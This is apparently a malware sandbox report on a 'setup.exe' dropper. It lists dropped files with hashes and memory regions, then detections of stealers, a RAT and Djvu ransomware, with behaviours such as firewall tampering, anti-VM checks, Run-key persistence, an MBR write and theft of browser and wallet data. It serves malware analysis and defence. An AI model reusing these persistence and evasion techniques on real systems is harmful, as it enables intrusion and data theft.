C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 caa5cb3468d3e9065aea7b1b5f6733fd
SHA1 aad734b4ee2ed30d762d28f194d0e23f28e81286
SHA256 6edc44a72e381815b415818219f9e96672b524ce5af010158b2f41f06b807594
SHA512 e9b204dff01885816dede3670965398e4ef89345df2c232eca942d67a92f7219912ae6d5880f63f9ec486a19d4ed5155631a905c1a8565d83f8e94402644ea68

C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe

MD5 ee24b23801c6ec32cb36c046b942b8c0
SHA1 489cbfbc5c5d1a3ddcbe1a8960c573d054f613ae
SHA256 33f1c46ea9e51e87265380463ae2d21978c4979a8e475597e868808d5d5e8ba4
SHA512 e4a8bc512d40dcf093221e5cfd3278dac8fe723495eb7f93c47c649e46d673a26eaf18779fb21f57b222c658d76dd9070e1204610715f6e6c45b5a006adbb349

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 2e4db2321df5e8c4e42d5ab7831e5c0c
SHA1 3b4af705ac219b0031aeef854bc1192adc95acd4
SHA256 585cbc9ce9fc92fab745be32f8314f598be5611ff01ac7e868d3e7d7fbe99de3
SHA512 beef2b6f24b0e516a61905b5cd511d3b893e4f4e51008bb6014175502b9d62f33416b5436831e9647fc812a3d16be0779ed0ee30c0ab3d2903b6068f1a17cd12

C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe

MD5 01aebd1d440c4668b7f9f2504dd7b8bd
SHA1 2aafb63648bfda5b510a955170ac997e0085d526
SHA256 9b2a82e90326990ed51eef4564dcf0498fc5fad8bc4228e0a14e7f2a6c5373e8
SHA512 7764e6fdc37781469ed96bc7e826cad40ad9a20d6447e5a204b061aa86397019bc5de1b582632c30cfc46c8e419229be9487eba53ace597c7dd8bb4a907db290

memory/1808-798-0x000007FEFD243000-0x000007FEFD244000-memory.dmp

memory/1808-799-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe

MD5 d43ac79abe604caffefe6313617079a3
SHA1 b3587d3fa524761b207f812e11dd807062892335
SHA256 8b750884259dd004300a84505be782d05fca2e487a66484765a4a1e357b7c399
SHA512 bb22c73ed01ff97b73feb68ae2611b70ef002d1829035f58a4ba84c5a217db368aae8bdc02cdec59c1121922a207c662aa5f0a93377537da42657dd787587082

memory/1808-809-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

memory/1808-808-0x0000000140000000-0x000000014099F000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe

MD5 78b368161165ade1dce05220e9959776
SHA1 867632bfa11644e73954486bac0d18efeb8a36fd
SHA256 27ddb70d8e8e61fdf6c2f372840ca134337dca0d1ab23d8e37de3921cae0488d
SHA512 955a1800411f46dbdc78bec6e09091a869054b5d45e55db6cd2e6b323825d948b3abfb1f578d4ba7259c4f2dc17f3a6a39abdd36129d242b417c553e2db5134b

memory/1796-866-0x0000000001320000-0x0000000001E76000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp

MD5 7a174e2f70a9fe7894ae44473feb4b07
SHA1 69b04204e0de5c40b4a8c3dfda0b3a20efe58afc
SHA256 35a3a773aa1ccdaed5344f5df09d4cc1c496b49679db05903e00955362e89a00
SHA512 c2419e4165d979f2894ceb65cbf45d6342a4a02d6a37f8accbc52ba0747bc8e62e85168f20a9942cf54abeab61e2b39e1257726c4cbe2bc4f1389ddf71742c7f

\Users\Admin\AppData\Local\Temp\is-PQ4TU.tmp\_isetup\_iscrypt.dll

MD5 a69559718ab506675e907fe49deb71e9
SHA1 bc8f404ffdb1960b50c12ff9413c893b56f2e36f
SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
SHA512 e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

memory/2112-882-0x0000000000FE0000-0x0000000001735000-memory.dmp

\Users\Admin\AppData\Local\Temp\is-PQ4TU.tmp\_isetup\_shfoldr.dll

MD5 92dc6ef532fbb4a5c3201469a5b5eb63
SHA1 3e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA512 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3

memory/2532-854-0x0000000000400000-0x0000000000414000-memory.dmp

memory/2380-940-0x0000000140000000-0x0000000141A5C000-memory.dmp

\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe

MD5 82f7e39a51aaf2c28ac77ca4fa9ed7ad
SHA1 3a3c99ca8ff8a7c6ee9ae1be33cd7591c0d9ce8d
SHA256 b4c685b1fbabec734efca7e62c5de614717bb6f9f3e324043403e399d707b49f
SHA512 f0b26c404d7982f3a8345fca00b4fade127f2fa327a4adb6d1e6c52797598bd36563296dacc8717637c93ec002f8657c431e2b9f0df52f5156a45cde4c938f7d

memory/1484-954-0x00000000013C0000-0x00000000013C1000-memory.dmp

memory/1484-952-0x00000000013C0000-0x00000000013C1000-memory.dmp

memory/1484-950-0x00000000013C0000-0x00000000013C1000-memory.dmp

memory/1484-956-0x0000000000050000-0x00000000011A7000-memory.dmp

\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe

MD5 19f94738bb8b332b995e50614f00a4c5
SHA1 88de65c1bca1d05d80edcbab5d58f232ecbf2d0e
SHA256 87c116fcd2e461a67d3c27e718fffedd4f4c7e8031be40a463d1e90aee2ec956
SHA512 d77606cc121c81e2163d540b84bdf42d0d07007509fbfd5c45dfa05210133e404b2f3381d9eed9255bde9a67d676aed9588a3a9153a6c65d81c3cd7ce5a013a5

memory/1484-960-0x0000000000050000-0x00000000011A7000-memory.dmp

memory/1764-947-0x0000000003950000-0x0000000003B52000-memory.dmp

memory/2292-949-0x0000000000400000-0x0000000000602000-memory.dmp

memory/2380-939-0x0000000077410000-0x0000000077412000-memory.dmp

memory/2380-937-0x0000000077410000-0x0000000077412000-memory.dmp

memory/2380-935-0x0000000077410000-0x0000000077412000-memory.dmp

\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe

MD5 f82b10ad392bbd43cbd81d1da4cdd6f5
SHA1 f4adf6325e87456c49db780a7540a414717cf1f3
SHA256 056dc56035a562b5296aca8b8ab1dbf742c36f4d1830885ea7302944d04d1d79
SHA512 1d6c98715cf7e38ce21c697f0976c95c8f183a04a2f32372f58c18bb1d5881ffa67910ce96b765dab7f15cfcc983d051448c4a1b4557170c18a04ec3e2b1d616

memory/2576-994-0x00000000011A0000-0x000000000180A000-memory.dmp

memory/2576-993-0x00000000011A0000-0x000000000180A000-memory.dmp

memory/2576-995-0x00000000011A0000-0x000000000180A000-memory.dmp

memory/2576-992-0x0000000000200000-0x000000000086A000-memory.dmp

memory/2180-997-0x00000000042A0000-0x0000000004698000-memory.dmp

memory/2256-986-0x0000000002400000-0x0000000002A6A000-memory.dmp

memory/2292-998-0x0000000000400000-0x0000000000602000-memory.dmp

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\libeay32.dll

MD5 5fbd844a6ce26deb5337e8e6dd7c7b70
SHA1 5302e49b2027a07c7bb8f95d45510efc0d954cf8
SHA256 f0d640c4e07c81c29f0ec2b603ec3017bdd4db0d0e26c3fa364a6bbf45826058
SHA512 c383b5ec9fb9efd53cdf00c2b0940fe60a35a857f8be40ae0763647c3523712553910aca8504768cc86895b2168525fa6043d567e66e0ed5696e2c8e5e7b992d

memory/2292-1002-0x0000000000400000-0x0000000000602000-memory.dmp

memory/1808-1005-0x0000000140000000-0x000000014099F000-memory.dmp

memory/2508-1006-0x0000000000400000-0x0000000000602000-memory.dmp

memory/808-1011-0x0000000000400000-0x0000000000574000-memory.dmp

memory/2180-1013-0x0000000000400000-0x0000000002959000-memory.dmp

memory/2796-1014-0x0000000061E00000-0x0000000061EF3000-memory.dmp

memory/1764-1044-0x0000000000400000-0x00000000004BE000-memory.dmp

memory/808-1042-0x0000000000400000-0x0000000000574000-memory.dmp

memory/1796-1043-0x0000000001320000-0x0000000001E76000-memory.dmp

memory/2796-1041-0x0000000000400000-0x0000000002576000-memory.dmp

memory/2532-1040-0x0000000000400000-0x0000000000414000-memory.dmp

memory/2576-1051-0x0000000010000000-0x00000000105E3000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 54676d1f1abecf21ca57f2ee1394fce8
SHA1 486f3c1a13317bb0d6bc8f5a405172b9c2824d32
SHA256 453bbe1912ca643b28671948b5dc5b94859741e1e846623c483144689fc46501
SHA512 62da3bafec08159c7c707cb5a9ba2ec0e518cbc6bf48bb5cc800e123d228eff61bbec6fe915ba43dee28a191c07b7dee777f4a44bf431e7be105d77ac294c160

memory/628-1062-0x0000000004310000-0x0000000004708000-memory.dmp

\ProgramData\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

\ProgramData\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

memory/628-1087-0x0000000000400000-0x0000000002959000-memory.dmp

memory/2768-1105-0x0000000140000000-0x000000014000E000-memory.dmp

memory/2768-1104-0x0000000140000000-0x000000014000E000-memory.dmp

memory/2768-1103-0x0000000140000000-0x000000014000E000-memory.dmp

memory/2768-1102-0x0000000140000000-0x000000014000E000-memory.dmp

memory/1796-1134-0x0000000001320000-0x0000000001E76000-memory.dmp

memory/1764-1141-0x0000000003950000-0x0000000003B52000-memory.dmp

memory/2212-1142-0x0000000000E70000-0x00000000014DA000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

MD5 13aaafe14eb60d6a718230e82c671d57
SHA1 e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512 ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

\Users\Admin\AppData\Local\Temp\symsrv.dll

MD5 5c399d34d8dc01741269ff1f1aca7554
SHA1 e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA512 8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

memory/1508-1162-0x0000000140000000-0x00000001405E8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

MD5 1afff8d5352aecef2ecd47ffa02d7f7d
SHA1 8b115b84efdb3a1b87f750d35822b2609e665bef
SHA256 c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512 e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

memory/1508-1163-0x0000000140000000-0x00000001405E8000-memory.dmp

\Users\Admin\AppData\Local\Temp\dbghelp.dll

MD5 f0616fa8bc54ece07e3107057f74e4db
SHA1 b33995c4f9a004b7d806c4bb36040ee844781fca
SHA256 6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA512 15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

MD5 c763780fcdc6ad5e03e0b2890f6bf476
SHA1 fd5fd90f0f4c4db1271856cbec98f1b3d6fc80d0
SHA256 96bcab587da0aa9cf1ac44f698f30bdbce02d06a6a53460132cb549b208b2631
SHA512 7f0d7d71a13510ea2ec1d60a01fffa3bc3b60d4eb6152434bd78556e2b89ac48dfe8f13b05455c7a27b3f27a7b209e072bb7847e1c0e6b91f8f4a93eebdc99c9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

MD5 a266bb7dcc38a562631361bbf61dd11b
SHA1 3b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA512 0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

memory/2576-1247-0x0000000000200000-0x000000000086A000-memory.dmp

memory/2256-1245-0x0000000002400000-0x0000000002A6A000-memory.dmp

memory/2576-1253-0x00000000011A0000-0x000000000180A000-memory.dmp

memory/1940-1263-0x000000001B630000-0x000000001B912000-memory.dmp

memory/1940-1264-0x0000000002860000-0x0000000002868000-memory.dmp

memory/2576-1266-0x00000000011A0000-0x000000000180A000-memory.dmp

memory/2576-1267-0x00000000011A0000-0x000000000180A000-memory.dmp

memory/2508-1268-0x0000000000400000-0x0000000000602000-memory.dmp

memory/2212-1279-0x0000000000E70000-0x00000000014DA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

MD5 fd2727132edd0b59fa33733daa11d9ef
SHA1 63e36198d90c4c2b9b09dd6786b82aba5f03d29a
SHA256 3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e
SHA512 3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

C:\Users\Admin\AppData\Local\Temp\osloader.exe

MD5 e2f68dc7fbd6e0bf031ca3809a739346
SHA1 9c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256 b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA512 26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

MD5 fafbf2197151d5ce947872a4b0bcbe16
SHA1 a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020
SHA256 feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71
SHA512 acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

memory/2212-1314-0x0000000000E70000-0x00000000014DA000-memory.dmp

memory/2500-1315-0x00000000010E0000-0x000000000174A000-memory.dmp

memory/1756-1339-0x0000000000400000-0x00000000008DF000-memory.dmp

memory/1756-1351-0x0000000000400000-0x00000000008DF000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

MD5 034bcecc24e9921e349485f570740bbb
SHA1 d4d029c42bd17c7c5af64a4fee4338588e0ad263
SHA256 432982644362573659bc9b3229fa2f33bb808a3e3993f616a41185ea4684db43
SHA512 d9b9dce0bbe771e87176f6d14bc4059f8cb4d1845caca1d6663887e45ad9c8e6c55b3e20f75775c08a7ae630ec99393dd476fcc4b504498a2dcc7c80d44376fb

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ifb4waqr.default-release\prefs.js

MD5 544707b57f7c37d034ebf11dc5837c56
SHA1 56278da054c0786d796ad1e83d326971ca3e1754
SHA256 f907523261633cb55c9739982879d8e8c63e30e67b2fc4de409ad77b54a1bb74
SHA512 134a7136c1dce1b21ae40233c683fa313d0503346516ab5e59b5712362c48e9fc83a36d501edfa8a47c602272811208a122350cb4bb29071d230a2080fa6a018

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 5431e95de006aba4b55bfc7b8dcc0c3a
SHA1 c4845eb7af80846c5ae5916bec694e8830bc1958
SHA256 c262ac64a6002fac0f82f5a7c5144df59af198db91145c4ef291cd250beb4cc5
SHA512 da0649b8929b46fdcfb2279b5de7e1c1fd4b0ed57da317d30a661c25a17ad3309479b2a8a97ae6a904d3b315ae9361413722dd8d84c874af5929616e177ab3c2

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

MD5 5b7f4b623807951a994dc0ff54949330
SHA1 764ddf98b4487433c6f1d48586cb6e2cb1f3e60c
SHA256 fdfb452ba962245eff59171fa5b310cf856345d0d4f257402e04a32f08c3fe0b
SHA512 fbb7bf9c01f78764c8d6dceb0eeaa44d0c7c14fe44675b5f8e324d37516dcfd0e3aea02963150796071c3fbdc677d487cab283146c68c82d3c9281110e6d65d1

memory/2576-1579-0x0000000000200000-0x000000000086A000-memory.dmp

memory/2500-1582-0x00000000010E0000-0x000000000174A000-memory.dmp

memory/1808-1634-0x0000000140000000-0x000000014099F000-memory.dmp

memory/1808-1635-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win10v2004-20240426-en

Max time kernel

96s

Max time network

157s

Command Line

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

Signatures

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detected Djvu ransomware

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Djvu Ransomware

ransomware djvu

Lumma Stealer

stealer lumma

Modifies firewall policy service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

PrivateLoader

loader privateloader

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

RisePro

stealer risepro

Stealc

stealer stealc

Vidar

stealer vidar

ZGRat

rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Creates new service(s)

persistence execution

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion execution

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNT.lnk C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSF6C4.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\i1.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV5 = "C:\\Users\\Admin\\AppData\\Local\\ExtreamFanV5\\ExtreamFanV5.exe" C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\7dd73705-8f6d-4ee2-a162-e1ac0f84b7b7\\SgyWxN7jSEUOkw_HmuPeEZI0.exe\" --AutoStart" C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A iplogger.org N/A N/A
N/A iplogger.org N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.2ip.ua N/A N/A
N/A api.2ip.ua N/A N/A
N/A api.myip.com N/A N/A
N/A api.myip.com N/A N/A
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A
N/A api.2ip.ua N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PHYSICALDRIVE0 C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\butYHpXTvMdZIJsEKZ.job C:\Windows\SysWOW64\schtasks.exe N/A

Launches sc.exe

Description Indicator Process Target
